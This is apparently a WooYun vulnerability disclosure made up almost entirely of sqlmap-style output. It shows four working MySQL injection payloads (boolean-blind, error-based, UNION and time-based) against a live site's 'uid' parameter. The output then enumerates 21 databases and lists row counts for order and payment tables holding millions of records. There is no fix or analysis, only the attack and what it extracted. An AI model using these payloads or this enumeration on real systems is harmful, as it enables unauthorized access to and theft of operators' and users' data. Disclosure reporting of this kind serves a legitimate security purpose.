WooYun.org

---
Place: GET
Parameter: uid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: uid=14 RLIKE (SELECT (CASE WHEN (5869=5869) THEN 14 ELSE 0x28 END))&size=middle
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: uid=14 AND (SELECT 5562 FROM(SELECT COUNT(*),CONCAT(0x7171616971,(SELECT (CASE WHEN (5562=5562) THEN 1 ELSE 0 END)),0x71776d6f71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&size=middle
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: uid=-8381 UNION ALL SELECT CONCAT(0x7171616971,0x4c56426f487266716d63,0x71776d6f71),NULL#&size=middle
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: uid=14 AND SLEEP(5)&size=middle
---
web application technology: Nginx
back-end DBMS: MySQL 5.0
available databases [21]:
[*] book_apk_count
[*] book_bbs
[*] book_count
[*] book_rank
[*] book_reward_5
[*] book_reward_6
[*] book_reward_7
[*] book_reward_8
[*] book_reward_9
[*] bookcommon
[*] bookhad
[*] check_db_status
[*] df
[*] information_schema
[*] mysql
[*] order_count
[*] pay_count
[*] performance_schema
[*] test
[*] tmp
[*] wss_project

测试几条
Database: order_count
+--------------------------+---------+
| Table | Entries |
+--------------------------+---------+
| order_count | 4151577 |
| consume_count | 2966264 |
| order_publish_count | 1184592 |
| order_author_count | 1154239 |
| order_publish_ggbookdata | 19692 |
| consume_usercount | 5010 |
| consume_source_count | 1771 |
| book_main_publish | 72 |
| order_publish_pay_rate | 58 |
| order_publish_user | 50 |
+--------------------------+---------+